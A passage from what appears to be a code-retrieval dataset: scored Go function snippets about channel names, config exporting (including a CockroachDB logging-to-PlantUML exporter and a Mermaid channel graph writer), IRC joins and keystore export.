"ea9721ad1d5078a763a33381c33a4285", "score": "0.4591424", "text": "func Get(name string) Channel {\n\tif ch, ok := channels[name]; ok {\n\t\treturn ch\n\t}\n\treturn nil\n\n\t//note: can't use nil check with this code\n\t//return channels[name]\n}", "title": "" }, { "docid": "53eb81da8bc101c21ec107dc4252fd3b", "score": "0.45875162", "text": "func (o ContactChannelOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ContactChannel) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "6f429bfa939ee1c58dec369d1c14929a", "score": "0.4569231", "text": "func (c *Config) Export(onlyChans ChannelList) (string, string) {\n\tchanSel := ChannelList{Channels: channelValues}\n\tif len(onlyChans.Channels) > 0 {\n\t\tchanSel = onlyChans\n\t}\n\n\tvar buf bytes.Buffer\n\tbuf.WriteString(\"@startuml\\nleft to right direction\\n\")\n\n\t// Export the channels.\n\tbuf.WriteString(\"component sources {\\n\")\n\tfor _, ch := range chanSel.Channels {\n\t\tfmt.Fprintf(&buf, \"() %s\\n\", ch)\n\t}\n\tbuf.WriteString(\"cloud stray as \\\"stray\\\\nerrors\\\"\\n}\\n\")\n\n\t// The process stderr stream.\n\tbuf.WriteString(\"queue stderr\\n\")\n\n\t// links collects the relationships. We need to collect them and\n\t// print them at the end because plantUML does not support\n\t// interleaving box and arrow declarations.\n\tlinks := []string{}\n\n\t// When a channel receives additional processing inside the logging\n\t// package, e.g. filtering or removing redaction markers, we add\n\t// additional boxes in a \"process\" component to indicate this.\n\tpNum := 1\n\tprocess := func(target string, cc CommonSinkConfig) (res string, processing, links []string) {\n\t\tconst defaultArrow = \"-->\"\n\t\t// The arrow is customized for the last step before the final\n\t\t// destination of messages, to indicate the criticality\n\t\t// (\"exit-on-error\"). A dotted arrow indicates that errors are\n\t\t// tolerated.\n\t\tarrow := defaultArrow\n\t\tif !*cc.Criticality {\n\t\t\tarrow = \"..>\"\n\t\t}\n\t\t// Introduce a \"strip\" box if the redactable flag is set.\n\t\tif !*cc.Redactable {\n\t\t\tpkey := fmt.Sprintf(\"p__%d\", pNum)\n\t\t\tpNum++\n\t\t\tprocessing = append(processing, fmt.Sprintf(\"card %s as \\\"strip\\\"\", pkey))\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s %s %s\", pkey, arrow, target))\n\t\t\ttarget = pkey\n\t\t\tarrow = defaultArrow\n\t\t}\n\t\t// Introduce a \"redact\" box if the redat flag is set.\n\t\tif *cc.Redact {\n\t\t\tpkey := fmt.Sprintf(\"p__%d\", pNum)\n\t\t\tpNum++\n\t\t\tprocessing = append(processing, fmt.Sprintf(\"card %s as \\\"redact\\\"\", pkey))\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", pkey, target))\n\t\t\ttarget = pkey\n\t\t\tarrow = defaultArrow\n\t\t}\n\t\t// Introduce the format box.\n\t\t{\n\t\t\tpkey := fmt.Sprintf(\"p__%d\", pNum)\n\t\t\tpNum++\n\t\t\tprocessing = append(processing, fmt.Sprintf(\"card %s as \\\"format:%s\\\"\", pkey, *cc.Format))\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", pkey, target))\n\t\t\ttarget = pkey\n\t\t\tarrow = defaultArrow\n\t\t}\n\t\t// Introduce a \"filter\" box if the filter severity is different from INFO.\n\t\tif cc.Filter != logpb.Severity_INFO {\n\t\t\tpkey := fmt.Sprintf(\"p__%d\", pNum)\n\t\t\tpNum++\n\t\t\tprocessing = append(processing, fmt.Sprintf(\"card %s as \\\"filter:%s\\\"\", pkey, cc.Filter.String()[:1]))\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", pkey, target))\n\t\t\ttarget = pkey\n\t\t\tarrow = defaultArrow\n\t\t}\n\t\treturn target, processing, links\n\t}\n\n\t// processing retains the processing rules.\n\tprocessing := []string{}\n\n\t// Export the files. We are grouping per directory.\n\t//\n\t// folderNames collects the directory names.\n\tfolderNames := []string{}\n\t// folders map each directory to a list of files within.\n\tfolders := map[string][]string{}\n\tfileNum := 1\n\tfor _, fn := range c.Sinks.sortedFileGroupNames {\n\t\tfc := c.Sinks.FileGroups[fn]\n\t\tif fc.Filter == logpb.Severity_NONE {\n\t\t\t// This file is not collecting anything. Skip it.\n\t\t\tcontinue\n\t\t}\n\t\tfileKey := fmt.Sprintf(\"f%d\", fileNum)\n\t\tfileNum++\n\t\ttarget := fileKey\n\n\t\tvar syncproc, synclink []string\n\t\tif *fc.BufferedWrites {\n\t\t\tskey := fmt.Sprintf(\"buffer%d\", fileNum)\n\t\t\tfileNum++\n\t\t\tsyncproc = append(syncproc, fmt.Sprintf(\"card %s as \\\"buffer\\\"\", skey))\n\t\t\tsynclink = append(synclink, fmt.Sprintf(\"%s --> %s\", skey, target))\n\t\t\tfileNum++\n\t\t\ttarget = skey\n\t\t}\n\n\t\ttarget, thisprocs, thislinks := process(target, fc.CommonSinkConfig)\n\t\thasLink := false\n\t\tfor _, ch := range fc.Channels.Channels {\n\t\t\tif !chanSel.HasChannel(ch) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thasLink = true\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", ch, target))\n\t\t}\n\n\t\tif hasLink {\n\t\t\tprocessing = append(processing, syncproc...)\n\t\t\tprocessing = append(processing, thisprocs...)\n\t\t\tlinks = append(links, thislinks...)\n\t\t\tlinks = append(links, synclink...)\n\t\t\tfileName := \"cockroach.log\"\n\t\t\tif fc.prefix != \"default\" {\n\t\t\t\tfileName = fmt.Sprintf(\"cockroach-%s.log\", fc.prefix)\n\t\t\t}\n\t\t\tif _, ok := folders[*fc.Dir]; !ok {\n\t\t\t\tfolderNames = append(folderNames, *fc.Dir)\n\t\t\t}\n\t\t\tfolders[*fc.Dir] = append(folders[*fc.Dir],\n\t\t\t\tfmt.Sprintf(\"file %s as \\\"%s\\\"\", fileKey, fileName))\n\t\t}\n\t}\n\n\t// If the fd2 capture is enabled, represent it.\n\tif c.CaptureFd2.Enable {\n\t\tdir := *c.CaptureFd2.Dir\n\t\tif _, ok := folders[dir]; !ok {\n\t\t\tfolderNames = append(folderNames, dir)\n\t\t}\n\t\tfileName := \"cockroach-stderr.log\"\n\t\tfolders[dir] = append(folders[dir],\n\t\t\tfmt.Sprintf(\"file stderrfile as \\\"%s\\\"\", fileName))\n\t\tlinks = append(links, \"stray --> stderrfile\")\n\t} else {\n\t\tlinks = append(links, \"stray --> stderr\")\n\t}\n\n\t// Collect the network servers.\n\t//\n\t// servers maps each server to its box declaration.\n\tservers := map[string]string{}\n\tfor _, fn := range c.Sinks.sortedServerNames {\n\t\tfc := c.Sinks.FluentServers[fn]\n\t\tif fc.Filter == logpb.Severity_NONE {\n\t\t\tcontinue\n\t\t}\n\t\tskey := fmt.Sprintf(\"s__%s\", fc.serverName)\n\t\ttarget, thisprocs, thislinks := process(skey, fc.CommonSinkConfig)\n\t\thasLink := false\n\t\tfor _, ch := range fc.Channels.Channels {\n\t\t\tif !chanSel.HasChannel(ch) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thasLink = true\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", ch, target))\n\t\t}\n\t\tif hasLink {\n\t\t\tprocessing = append(processing, thisprocs...)\n\t\t\tlinks = append(links, thislinks...)\n\t\t\tservers[fc.serverName] = fmt.Sprintf(\"queue %s as \\\"fluent: %s:%s\\\"\",\n\t\t\t\tskey, fc.Net, fc.Address)\n\t\t}\n\t}\n\n\t// Export the stderr redirects.\n\tif c.Sinks.Stderr.Filter != logpb.Severity_NONE {\n\t\ttarget, thisprocs, thislinks := process(\"stderr\", c.Sinks.Stderr.CommonSinkConfig)\n\n\t\thasLink := false\n\t\tfor _, ch := range c.Sinks.Stderr.Channels.Channels {\n\t\t\tif !chanSel.HasChannel(ch) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\thasLink = true\n\t\t\tlinks = append(links, fmt.Sprintf(\"%s --> %s\", ch, target))\n\t\t}\n\t\tif hasLink {\n\t\t\tlinks = append(links, thislinks...)\n\t\t\tprocessing = append(processing, thisprocs...)\n\t\t}\n\t}\n\n\t// Represent the processing stages, if any.\n\tif len(processing) > 0 {\n\t\tfor _, p := range processing {\n\t\t\tfmt.Fprintf(&buf, \"%s\\n\", p)\n\t\t}\n\t}\n\n\t// Represent the files, if any.\n\tsort.Strings(folderNames)\n\tif len(folderNames) > 0 {\n\t\tbuf.WriteString(\"artifact files {\\n\")\n\t\tfor _, fd := range folderNames {\n\t\t\tfmt.Fprintf(&buf, \" folder \\\"%s\\\" {\\n\", fd)\n\t\t\tfor _, fdecl := range folders[fd] {\n\t\t\t\tfmt.Fprintf(&buf, \" %s\\n\", fdecl)\n\t\t\t}\n\t\t\tbuf.WriteString(\" }\\n\")\n\t\t}\n\t\tbuf.WriteString(\"}\\n\")\n\t}\n\n\t// Represent the network servers, if any.\n\tif len(c.Sinks.sortedServerNames) > 0 {\n\t\tbuf.WriteString(\"cloud network {\\n\")\n\t\tfor _, s := range c.Sinks.sortedServerNames {\n\t\t\tfmt.Fprintf(&buf, \" %s\\n\", servers[s])\n\t\t}\n\t\tbuf.WriteString(\"}\\n\")\n\t}\n\n\t// Export the relationships.\n\tfor _, l := range links {\n\t\tfmt.Fprintf(&buf, \"%s\\n\", l)\n\t}\n\n\t// We are done!\n\tbuf.WriteString(\"@enduml\\n\")\n\tuml := buf.String()\n\treturn uml, exportKey(uml)\n}", "title": "" }, { "docid": "ec9d2dc7a611d288b54757d379c674d5", "score": "0.45218578", "text": "func NewChannelByNameVariables(orgID, channelName string) ChannelByNameVariables {\n\tvars := ChannelByNameVariables{\n\t\tOrgID: orgID,\n\t\tName: channelName,\n\t}\n\n\tvars.Type = actions.QueryTypeQuery\n\tvars.QueryName = QueryChannelByName\n\tvars.Args = map[string]string{\n\t\t\"orgId\": \"String!\",\n\t\t\"name\": \"String!\",\n\t}\n\tvars.Returns = []string{\n\t\t\"uuid\",\n\t\t\"orgId\",\n\t\t\"name\",\n\t\t\"created\",\n\t\t\"versions{uuid, name, description, location, created}\",\n\t\t\"subscriptions{uuid, orgId, name, groups, channelUuid, channelName, version, versionUuid, created, updated}\",\n\t}\n\n\treturn vars\n}", "title": "" }, { "docid": "8759bf167a9b093603b8bb2a30465644", "score": "0.45016485", "text": "func (gc *GenericChannelAspect) Name() string {\n\treturn gc.name\n}", "title": "" }, { "docid": "b893733446a47a2ec60ebb73d220baec", "score": "0.45013833", "text": "func (s *RelayImpl) Publish(name string) (chan<- []byte, error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif _, exists := s.channels[name]; exists {\n\t\treturn nil, StreamAlreadyExists\n\t}\n\n\tchannel := NewChannel(s.config.Buffersize)\n\ts.channels[name] = channel\n\n\tch := make(chan []byte, 0)\n\n\t// Setup publisher goroutine\n\tgo func() {\n\t\tfor {\n\t\t\tbuf, ok := <-ch\n\n\t\t\t// Channel closed, Teardown pubsub\n\t\t\tif !ok {\n\t\t\t\t// Need a lock on the map first to stop new subscribers\n\t\t\t\ts.mutex.Lock()\n\t\t\t\tlog.Println(\"Removing stream\", name)\n\t\t\t\tdelete(s.channels, name)\n\t\t\t\tchannel.Close()\n\t\t\t\ts.mutex.Unlock()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Publish buf to subscribers\n\t\t\tchannel.Pub(buf)\n\t\t}\n\t}()\n\treturn ch, nil\n}", "title": "" }, { "docid": "fbee1a16459ae4e7a2c7dd97a005b9ef", "score": "0.44906875", "text": "func Export(name string) (keyJSON []byte, err error) {\n\t// Get Account from Keystore\n\tdir := getDir(accountsDir)\n\tdb, err := leveldb.OpenFile(dir, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"leveldb: %s\", err)\n\t}\n\tdefer db.Close()\n\n\tkey := []byte(name)\n\taddr, err := db.Get(key, nil)\n\tif err == leveldb.ErrNotFound {\n\t\treturn nil, fmt.Errorf(\"account does not exist\")\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"leveldb: %s\", err)\n\t}\n\n\tacc := accounts.Account{\n\t\tAddress: ethcmn.BytesToAddress(addr),\n\t}\n\n\tbuf := cosmoscli.BufferStdin()\n\tpass, err := cosmoscli.GetPassword(PassphrasePrompt, buf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error with password: %s\", err)\n\t}\n\tnewpass, err := cosmoscli.GetCheckPassword(ExportPassphrasePrompt, NewPassphrasePromptRepeat, buf)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error with password: %s\", err)\n\t}\n\taccJSON, err := ks.Export(acc, pass, newpass)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error exporting account: %s\", err)\n\t}\n\n\treturn accJSON, nil\n}", "title": "" }, { "docid": "1b7f8726943c45f0b68593451c580724", "score": "0.44445732", "text": "func (e *Engine) Join(ctx context.Context, channelName string) <-chan bool {\n\tr := make(chan bool, 1)\n\n\tgo func() {\n\t\tdefer close(r)\n\n\t\tcallbackSuccessChann := make(chan bool)\n\t\tdefer close(callbackSuccessChann)\n\n\t\tchannelWithHash := channelName\n\t\tif !strings.HasPrefix(channelName, \"#\") {\n\t\t\tchannelWithHash = fmt.Sprintf(\"#%s\", channelName)\n\t\t}\n\t\tchannelWithoutHash := channelWithHash[1:]\n\n\t\tcallback := func(packet Packet) {\n\t\t\tif packet.Payload == channelWithoutHash {\n\t\t\t\tcallbackSuccessChann <- true\n\t\t\t}\n\t\t}\n\t\te.onRplEndOfNamesMutex.Lock()\n\t\te.onRplEndOfNames[channelWithoutHash] = callback\n\t\te.onRplEndOfNamesMutex.Unlock()\n\n\t\te.send(fmt.Sprintf(\"JOIN %s\", channelWithHash))\n\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\tr <- false\n\t\tcase <-callbackSuccessChann:\n\t\t\tr <- true\n\t\t}\n\n\t\te.onRplEndOfNamesMutex.Lock()\n\t\tdelete(e.onRplEndOfNames, channelWithoutHash)\n\t\te.onRplEndOfNamesMutex.Unlock()\n\t}()\n\n\treturn r\n}", "title": "" }, { "docid": "38e477647671d91b5a1c76294e9fd9cb", "score": "0.44142747", "text": "func Export(path string) {\n\t// NumChannels=\"1\"\n\tCommand(\"Export2\", \"Filename\", path)\n}", "title": "" }, { "docid": "69a9e364237a3af77b6d8616c91beedd", "score": "0.43952188", "text": "func ExchangeName(name string) ConfigFunc {\n\treturn func(c *Client) error {\n\t\tif c.started {\n\t\t\treturn ErrAlreadyConfigured\n\t\t}\n\t\tc.exchName = name\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "c622fa69f265c896817276081cb9400c", "score": "0.43948242", "text": "func (o *GetAdminSearchChatroomsParams) SetChannelName(channelName *string) {\n\to.ChannelName = channelName\n}", "title": "" }, { "docid": "455db6cf81805077e242e8700e189f7c", "score": "0.4391784", "text": "func (r Request) ChannelName() string { return r.get(\"channel_name\") }", "title": "" }, { "docid": "922889a1f58d21920034c6ab2cde98e4", "score": "0.4381742", "text": "func (t *Transformer) ExportChannels(channels []*IntermediateChannel, writer io.Writer) error {\n\tfor _, channel := range channels {\n\t\tline := GetImportLineFromChannel(t.TeamName, channel)\n\t\tif err := ExportWriteLine(writer, line); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "bc55d09a8d9cc8215f71261c43bec303", "score": "0.43442398", "text": "func (o DscConfigurationOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *DscConfiguration) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "972006e641fed9db26cdee28234693a0", "score": "0.43408987", "text": "func (self *Node) Export(name string, api interface{}) error {\n\tif self.hasState(created) {\n\t\tself.metaLock.Lock()\n\t\tdefer self.metaLock.Unlock()\n\t\tself.exports[name] = api\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"%v can only export when in state 'created'\")\n}", "title": "" }, { "docid": "10380a9598186dc13757c363c7285060", "score": "0.4327919", "text": "func (c CfgFormat) Name() string {\n\treturn c[\"name\"]\n}", "title": "" }, { "docid": "c13855606647ed43693caaa998e9f300", "score": "0.43102068", "text": "func (writer *MermaidWriter) WriteChannels(cfg DeclarativeConfig, out io.Writer) error {\n\tpkgs := map[string]*strings.Builder{}\n\n\tsort.Slice(cfg.Channels, func(i, j int) bool {\n\t\treturn cfg.Channels[i].Name < cfg.Channels[j].Name\n\t})\n\n\tversionMap, err := getBundleVersions(&cfg)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// establish a 'floor' version, either specified by user or entirely open\n\tminVersion := semver.Version{Major: 0, Minor: 0, Patch: 0}\n\n\tif writer.MinEdgeName != \"\" {\n\t\tif _, ok := versionMap[writer.MinEdgeName]; !ok {\n\t\t\treturn fmt.Errorf(\"unknown minimum edge name: %q\", writer.MinEdgeName)\n\t\t}\n\t\tminVersion = versionMap[writer.MinEdgeName]\n\t}\n\n\t// build increasing-version-ordered bundle names, so we can meaningfully iterate over a range\n\torderedBundles := []string{}\n\tfor n := range versionMap {\n\t\torderedBundles = append(orderedBundles, n)\n\t}\n\tsort.Slice(orderedBundles, func(i, j int) bool {\n\t\treturn versionMap[orderedBundles[i]].LT(versionMap[orderedBundles[j]])\n\t})\n\n\tminEdgePackage := writer.getMinEdgePackage(&cfg)\n\n\tfor _, c := range cfg.Channels {\n\t\tfilteredChannel := writer.filterChannel(&c, versionMap, minVersion, minEdgePackage)\n\t\tif filteredChannel != nil {\n\t\t\tpkgBuilder, ok := pkgs[c.Package]\n\t\t\tif !ok {\n\t\t\t\tpkgBuilder = &strings.Builder{}\n\t\t\t\tpkgs[c.Package] = pkgBuilder\n\t\t\t}\n\n\t\t\tchannelID := fmt.Sprintf(\"%s-%s\", filteredChannel.Package, filteredChannel.Name)\n\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" %%%% channel %q\\n\", filteredChannel.Name))\n\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" subgraph %s[%q]\\n\", channelID, filteredChannel.Name))\n\n\t\t\tfor _, ce := range filteredChannel.Entries {\n\t\t\t\tif versionMap[ce.Name].GE(minVersion) {\n\t\t\t\t\tentryId := fmt.Sprintf(\"%s-%s\", channelID, ce.Name)\n\t\t\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" %s[%q]\\n\", entryId, ce.Name))\n\n\t\t\t\t\tif len(ce.Replaces) > 0 {\n\t\t\t\t\t\treplacesId := fmt.Sprintf(\"%s-%s\", channelID, ce.Replaces)\n\t\t\t\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" %s[%q]-- %s --> %s[%q]\\n\", replacesId, ce.Replaces, \"replace\", entryId, ce.Name))\n\t\t\t\t\t}\n\t\t\t\t\tif len(ce.Skips) > 0 {\n\t\t\t\t\t\tfor _, s := range ce.Skips {\n\t\t\t\t\t\t\tskipsId := fmt.Sprintf(\"%s-%s\", channelID, s)\n\t\t\t\t\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" %s[%q]-- %s --> %s[%q]\\n\", skipsId, s, \"skip\", entryId, ce.Name))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif len(ce.SkipRange) > 0 {\n\t\t\t\t\t\tskipRange, err := semver.ParseRange(ce.SkipRange)\n\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\tfor _, edgeName := range filteredChannel.Entries {\n\t\t\t\t\t\t\t\tif skipRange(versionMap[edgeName.Name]) {\n\t\t\t\t\t\t\t\t\tskipRangeId := fmt.Sprintf(\"%s-%s\", channelID, edgeName.Name)\n\t\t\t\t\t\t\t\t\tpkgBuilder.WriteString(fmt.Sprintf(\" %s[%q]-- \\\"%s(%s)\\\" --> %s[%q]\\n\", skipRangeId, edgeName.Name, \"skipRange\", ce.SkipRange, entryId, ce.Name))\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfmt.Fprintf(os.Stderr, \"warning: ignoring invalid SkipRange for package/edge %q/%q: %v\\n\", c.Package, ce.Name, err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tpkgBuilder.WriteString(\" end\\n\")\n\t\t}\n\t}\n\n\tout.Write([]byte(\"graph LR\\n\"))\n\tpkgNames := []string{}\n\tfor pname := range pkgs {\n\t\tpkgNames = append(pkgNames, pname)\n\t}\n\tsort.Slice(pkgNames, func(i, j int) bool {\n\t\treturn pkgNames[i] < pkgNames[j]\n\t})\n\tfor _, pkgName := range pkgNames {\n\t\tout.Write([]byte(fmt.Sprintf(\" %%%% package %q\\n\", pkgName)))\n\t\tout.Write([]byte(fmt.Sprintf(\" subgraph %q\\n\", pkgName)))\n\t\tout.Write([]byte(pkgs[pkgName].String()))\n\t\tout.Write([]byte(\" end\\n\"))\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "6e8569e2870672274beea948d605df10", "score": "0.4303658", "text": "func GetChannelName(sourceID, eventType, eventTypeVersion *string) string {\n\tchannelName := util.EncodeChannelName(sourceID, eventType, eventTypeVersion)\n\treturn fmt.Sprintf(\"k%s\", hash.ComputeHash(&channelName))\n}", "title": "" }, { "docid": "5bbcc226933ae7bd95bbd090236a8a5c", "score": "0.42915064", "text": "func (k *KafkaMetricSink) Name() string {\n\treturn k.name\n}", "title": "" }, { "docid": "75b9d220b72717a60296ba1965e80e79", "score": "0.42834595", "text": "func (c *Config) Name() string {\n\treturn c.params.Name\n}", "title": "" }, { "docid": "e7897b16e02b9eed1d8863b99806af28", "score": "0.42617983", "text": "func ExtractChannelName(uri string) string {\n\treturn ExtractName(knativev1.CamelServiceTypeChannel, uri)\n}", "title": "" }, { "docid": "a6d854de2ad59a1b97a690cab2e31984", "score": "0.42574793", "text": "func SetChannel( channelName string) {\n\tchannel.Set(channelName)\n}", "title": "" }, { "docid": "60d5be49d2be6b0408c2895e196a14e5", "score": "0.42484063", "text": "func (s *Session) ChannelName(cid snowflake.Snowflake) (string, bool) {\n\ts.lock.RLock()\n\tdefer s.lock.RUnlock()\n\n\treturn s.state.ChannelName(cid)\n}", "title": "" }, { "docid": "fe13309dd3bb8de74264aa7d81b3bb35", "score": "0.42482477", "text": "func (c *Channel) String() string {\n\tif c.Key == \"\" {\n\t\treturn c.Name\n\t}\n\n\treturn c.Name + \",\" + c.Key\n}", "title": "" }, { "docid": "ee921891de493b80eb8a450bb8434486", "score": "0.42398867", "text": "func New(name string, bufferSize int) (Channel, error) {\n\n\tif active {\n\t\treturn nil, errors.New(\"cannot create channel after engine has been started\")\n\t}\n\n\tif _, dup := channels[name]; dup {\n\t\treturn nil, errors.New(\"channel already exists: \" + name)\n\t}\n\n\tchannel := &channelImpl{name: name, ch: make(chan interface{}, bufferSize)}\n\tchannels[name] = channel\n\n\treturn channel, nil\n\n}", "title": "" }, { "docid": "f65cb9508529da034e074330d430e174", "score": "0.42322212", "text": "func (o LookupNotificationChannelResultOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v LookupNotificationChannelResult) string { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "d8abaf7362ce57cfadff831f5572001b", "score": "0.42314458", "text": "func (o HostingChannelOutput) ChannelId() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *HostingChannel) pulumi.StringOutput { return v.ChannelId }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "3be1e01072f98a8b09abf27441fb36a0", "score": "0.4213932", "text": "func (p *PluginCache) AddChannel(name string, factory interface{}) {\n\tp.chanFuncMap[name] = factory\n}", "title": "" }, { "docid": "7c2f8c191bda939ed4c0ea25b6437e4e", "score": "0.4208294", "text": "func (op PluginsConfigList) GetByName(name string) (Plugin, bool) {\n\tp, ok := op.data[name]\n\treturn p, ok\n}", "title": "" }, { "docid": "1d975ad03db13a3385f190d775fc4a99", "score": "0.42060295", "text": "func (c *KeyClient) Export(ctx context.Context, group, vaultName, name string,\n\tparam *keyvault.Key) (*keyvault.Key, error) {\n\treturn c.internal.ExportKey(ctx, group, vaultName, name, param)\n}", "title": "" }, { "docid": "e7f6af84396e41706dd61bfaabd254ce", "score": "0.4203476", "text": "func (i IPInterfaceConfig) Name() string {\n\treturn i[\"name\"]\n}", "title": "" }, { "docid": "8894ba5553799c257aa3ee2265358acc", "score": "0.4203141", "text": "func NewChannel(name string) *Channel {\n\treturn &Channel{\n\t\tname: name,\n\t\tconnected: false,\n\t}\n}", "title": "" }, { "docid": "03cd09dc26c4c7d5313ce61344ea51ae", "score": "0.42000285", "text": "func (state *Instance) dbSaveChannel(name string) (res *Response) {\n\tdb := state.Database\n\tres = state.dbGetChannel(name)\n\tvar err error\n\tvar id string\n\n\tswitch name {\n\tcase \"main\":\n\t\tif state.MainChan != nil {\n\t\t\tid = state.MainChan.ID\n\t\t\tbreak\n\t\t}\n\t\tres = makeResponse(fmt.Errorf(\"channel not set\"), \"channel not set\", \"\")\n\tcase \"event\":\n\t\tif state.EventChan != nil {\n\t\t\tid = state.EventChan.ID\n\t\t\tbreak\n\t\t}\n\t\tres = makeResponse(fmt.Errorf(\"channel not set\"), \"channel not set\", \"\")\n\tdefault:\n\t\tres = makeResponse(fmt.Errorf(\"bad channel to set\"), \"bad channel to set\", \"\")\n\t}\n\n\tif res.Err != nil {\n\t\t// May not exist.\n\t\tif res.Err == sql.ErrNoRows {\n\t\t\t// Doesn't exist, INSERT\n\t\t\t_, err = db.Query(\"INSERT INTO config (id, name) VALUES (?, ?)\", id, name)\n\t\t\tif err != nil {\n\t\t\t\tres = makeResponse(err, err.Error(), \"\")\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\t// Other issue, return\n\t\treturn\n\t}\n\t// Exists, update.\n\t_, err = db.Query(\"UPDATE config SET id=(?) WHERE name=(?)\", id, name)\n\tif err != nil {\n\t\tres = makeResponse(err, err.Error(), \"\")\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "f9270fa198696c19c23fd7d5c3d9d771", "score": "0.41869938", "text": "func (o ConfigMapKeySelectorOutput) Name() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ConfigMapKeySelector) *string { return v.Name }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "f9270fa198696c19c23fd7d5c3d9d771", "score": "0.41869938", "text": "func (o ConfigMapKeySelectorOutput) Name() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v ConfigMapKeySelector) *string { return v.Name }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "164725fbcbc99e8920d391ee573000de", "score": "0.4186649", "text": "func GetExporterName() string {\n\treturn appName\n}", "title": "" }, { "docid": "8c7b9795c8f3751770e51ede1e3f8981", "score": "0.41849798", "text": "func (o ConfigOutput) Name() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Config) pulumi.StringOutput { return v.Name }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "867085334d0e2cb8363c3345c6df08cc", "score": "0.41774562", "text": "func (options *CreateAssignmentOptions) SetChannelName(channelName string) *CreateAssignmentOptions {\n\toptions.ChannelName = core.StringPtr(channelName)\n\treturn options\n}", "title": "" }, { "docid": "94cb8901e5a7eb772aab2d42a03df730", "score": "0.41684583", "text": "func (t *MyType) updateName(ch chan string) {\n\tt.Name = <-ch\n}", "title": "" }, { "docid": "f63964bad7cb28ec3dfc26e866f2d1ff", "score": "0.41665038", "text": "func (t *Transformer) ExportDirectChannels(channels []*IntermediateChannel, writer io.Writer) error {\n\tfor _, channel := range channels {\n\t\tline := GetImportLineFromDirectChannel(t.TeamName, channel)\n\t\tif err := ExportWriteLine(writer, line); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2c869cf746529bb60ec9040b1fba251b", "score": "0.4156966", "text": "func (c Config) GetSink(name string) (SinkConfig, bool) {\n\tif c.Sinks == nil {\n\t\treturn SinkConfig{\n\t\t\tEncoderConfig: c.EncoderConfig,\n\t\t}, false\n\t}\n\tsink, ok := c.Sinks[name]\n\tif !ok {\n\t\treturn SinkConfig{\n\t\t\tEncoderConfig: c.EncoderConfig,\n\t\t}, false\n\t}\n\n\tif c.MessageKey == \"\" {\n\t\tc.MessageKey = defaultMessageKey\n\t}\n\tif c.LevelKey == \"\" {\n\t\tc.LevelKey = defaultLevelKey\n\t}\n\tif c.TimeKey == \"\" {\n\t\tc.TimeKey = defaultTimeKey\n\t}\n\tif c.NameKey == \"\" {\n\t\tc.NameKey = defaultNameKey\n\t}\n\n\tif sink.MessageKey == \"\" {\n\t\tsink.MessageKey = c.MessageKey\n\t}\n\tif sink.LevelKey == \"\" {\n\t\tsink.LevelKey = c.LevelKey\n\t}\n\tif sink.TimeKey == \"\" {\n\t\tsink.TimeKey = c.TimeKey\n\t}\n\tif sink.NameKey == \"\" {\n\t\tsink.NameKey = c.NameKey\n\t}\n\tif sink.CallerKey == \"\" {\n\t\tsink.CallerKey = c.CallerKey\n\t}\n\tif sink.FunctionKey == \"\" {\n\t\tsink.FunctionKey = c.FunctionKey\n\t}\n\tif sink.StacktraceKey == \"\" {\n\t\tsink.StacktraceKey = c.StacktraceKey\n\t}\n\tif sink.LineEnding == \"\" {\n\t\tsink.LineEnding = c.LineEnding\n\t}\n\tif sink.EncodeLevel == nil {\n\t\tsink.EncodeLevel = c.EncodeLevel\n\t}\n\tif sink.EncodeTime == nil {\n\t\tsink.EncodeTime = c.EncodeTime\n\t}\n\tif sink.EncodeDuration == nil {\n\t\tsink.EncodeDuration = c.EncodeDuration\n\t}\n\tif sink.EncodeCaller == nil 